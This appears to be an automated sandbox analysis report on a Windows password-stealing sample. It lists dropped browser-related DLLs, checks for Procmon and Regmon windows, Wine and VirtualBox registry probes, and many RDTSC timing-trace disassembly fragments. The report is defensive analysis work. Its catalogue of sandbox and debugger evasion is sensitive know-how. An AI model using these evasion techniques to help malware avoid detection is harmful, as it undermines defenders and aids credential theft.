Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\vcruntime140[1].dll	Jump to dropped file

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Boot Survival

Monitors registry run keys for changes

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Registry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Malware Analysis System Evasion

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: 9D0028 second address: 9D002C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: 9CF971 second address: 9CF981 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 pushad 0x00000008 jng 00007FAF64D85736h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: BA2F23 second address: BA2F29 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: BA2F29 second address: BA2F2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: BA2F2D second address: BA2F33 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: BA20A9 second address: BA20AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: BA20AD second address: BA20B8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: BA20B8 second address: BA20BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: BA20BD second address: BA20CF instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 pop ebx 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push edx 0x0000000f pop edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: BA20CF second address: BA20D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: BA20D3 second address: BA20DE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: BA20DE second address: BA20E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: BA248B second address: BA2490 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: BA571B second address: BA571F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: BA571F second address: BA5770 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 jne 00007FAF64864F26h 0x0000000d pop ebx 0x0000000e popad 0x0000000f xor dword ptr [esp], 4E26DD30h 0x00000016 mov dword ptr [ebp+19282E5Ch], edi 0x0000001c push 00000003h 0x0000001e xor dl, FFFFFFE7h 0x00000021 pushad 0x00000022 mov dx, di 0x00000025 mov bx, ax 0x00000028 popad 0x00000029 push 00000000h 0x0000002b jmp 00007FAF64864F36h 0x00000030 push 00000003h 0x00000032 sbb si, 15BAh 0x00000037 push AD3D9BD6h 0x0000003c pushad 0x0000003d pushad 0x0000003e push eax 0x0000003f push edx 0x00000040 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: BA5A26 second address: BA5A2E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: BA5A2E second address: BA5A32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: BA5A32 second address: BA5A36 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: BC4242 second address: BC4257 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAF64864F2Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: BC4257 second address: BC427B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e jmp 00007FAF64D85741h 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: BC43E3 second address: BC43E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: BC4550 second address: BC4555 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: BC4555 second address: BC4573 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FAF64864F34h 0x00000008 jmp 00007FAF64864F2Eh 0x0000000d push eax 0x0000000e push edx 0x0000000f jno 00007FAF64864F26h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: BC4829 second address: BC482D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: BC482D second address: BC4857 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FAF64864F26h 0x00000008 jmp 00007FAF64864F2Dh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push ecx 0x00000010 jmp 00007FAF64864F2Fh 0x00000015 pushad 0x00000016 popad 0x00000017 pop ecx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: BC4857 second address: BC4877 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 jng 00007FAF64D85736h 0x0000000b pop esi 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FAF64D85742h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: BC4B63 second address: BC4B6D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007FAF64864F26h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: BC4B6D second address: BC4B73 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: BC4B73 second address: BC4B8C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 ja 00007FAF64864F28h 0x0000000c push eax 0x0000000d pop eax 0x0000000e pop edx 0x0000000f pop eax 0x00000010 jnc 00007FAF64864F34h 0x00000016 push ebx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: BC4B8C second address: BC4B92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: BC4F8E second address: BC4F9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007FAF64864F26h 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c popad 0x0000000d push ecx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: BC4F9E second address: BC4FA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop ecx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: BB8B78 second address: BB8B80 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: BB8B80 second address: BB8B84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: BB8B84 second address: BB8B88 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: BB8B88 second address: BB8BB3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007FAF64D85743h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f js 00007FAF64D85768h 0x00000015 push eax 0x00000016 push edx 0x00000017 jne 00007FAF64D85736h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: BC5D8D second address: BC5D9A instructions: 0x00000000 rdtsc 0x00000002 je 00007FAF64864F26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: BC85D0 second address: BC85D4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: BC893E second address: BC8942 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: BC8942 second address: BC8948 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: BCB0BA second address: BCB0C4 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FAF64864F2Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: B96326 second address: B9634B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jo 00007FAF64D85736h 0x00000009 jmp 00007FAF64D85743h 0x0000000e pop eax 0x0000000f jo 00007FAF64D85742h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: B9634B second address: B96351 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: B96351 second address: B96363 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FAF64D8573Ah 0x0000000d rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: B96363 second address: B96377 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FAF64864F28h 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jg 00007FAF64864F26h 0x00000012 push ebx 0x00000013 pop ebx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: BD0A15 second address: BD0A3B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FAF64D85736h 0x0000000a jmp 00007FAF64D8573Dh 0x0000000f popad 0x00000010 jl 00007FAF64D85742h 0x00000016 jbe 00007FAF64D85736h 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: BD0A3B second address: BD0A44 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: BD0D89 second address: BD0DAD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FAF64D85744h 0x0000000d push edi 0x0000000e js 00007FAF64D85736h 0x00000014 pop edi 0x00000015 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: BD0DAD second address: BD0DB5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: BD0DB5 second address: BD0DDE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAF64D85746h 0x00000007 jmp 00007FAF64D8573Ch 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: BD10A2 second address: BD10A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: BD10A8 second address: BD10B1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: BD2248 second address: BD2279 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FAF64864F2Bh 0x00000009 popad 0x0000000a jmp 00007FAF64864F33h 0x0000000f popad 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 push ebx 0x00000015 pop ebx 0x00000016 jp 00007FAF64864F26h 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: BD2279 second address: BD227F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: BD227F second address: BD2283 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: BD242B second address: BD2431 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: BD2EC4 second address: BD2ED7 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FAF64864F28h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: BD2ED7 second address: BD2EF3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAF64D85748h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: BD31E1 second address: BD31E5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: BD4137 second address: BD413B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: BD41C3 second address: BD41C8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: BD5304 second address: BD530A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: BD4A69 second address: BD4A6F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: BD530A second address: BD530E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: BD4A6F second address: BD4A73 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: BD5E6F second address: BD5E73 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: BD68E7 second address: BD68EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: BD68EF second address: BD6960 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 popad 0x00000006 push eax 0x00000007 jmp 00007FAF64D85747h 0x0000000c nop 0x0000000d push 00000000h 0x0000000f push edi 0x00000010 call 00007FAF64D85738h 0x00000015 pop edi 0x00000016 mov dword ptr [esp+04h], edi 0x0000001a add dword ptr [esp+04h], 00000018h 0x00000022 inc edi 0x00000023 push edi 0x00000024 ret 0x00000025 pop edi 0x00000026 ret 0x00000027 mov edi, esi 0x00000029 push 00000000h 0x0000002b pushad 0x0000002c jmp 00007FAF64D8573Fh 0x00000031 popad 0x00000032 push 00000000h 0x00000034 mov di, si 0x00000037 xchg eax, ebx 0x00000038 push eax 0x00000039 push edx 0x0000003a jmp 00007FAF64D85745h 0x0000003f rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: BD6960 second address: BD698D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAF64864F30h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FAF64864F36h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: BD698D second address: BD6992 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: BD7377 second address: BD73B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007FAF64864F26h 0x0000000a popad 0x0000000b mov dword ptr [esp], eax 0x0000000e mov edi, ecx 0x00000010 xor si, 04FEh 0x00000015 push 00000000h 0x00000017 mov dword ptr [ebp+19281CAFh], edi 0x0000001d push 00000000h 0x0000001f mov esi, dword ptr [ebp+1948567Fh] 0x00000025 xchg eax, ebx 0x00000026 push edi 0x00000027 jmp 00007FAF64864F30h 0x0000002c pop edi 0x0000002d push eax 0x0000002e push ebx 0x0000002f pushad 0x00000030 push eax 0x00000031 push edx 0x00000032 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	RDTSC instruction interceptor: First address: BDE079 second address: BDE083 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
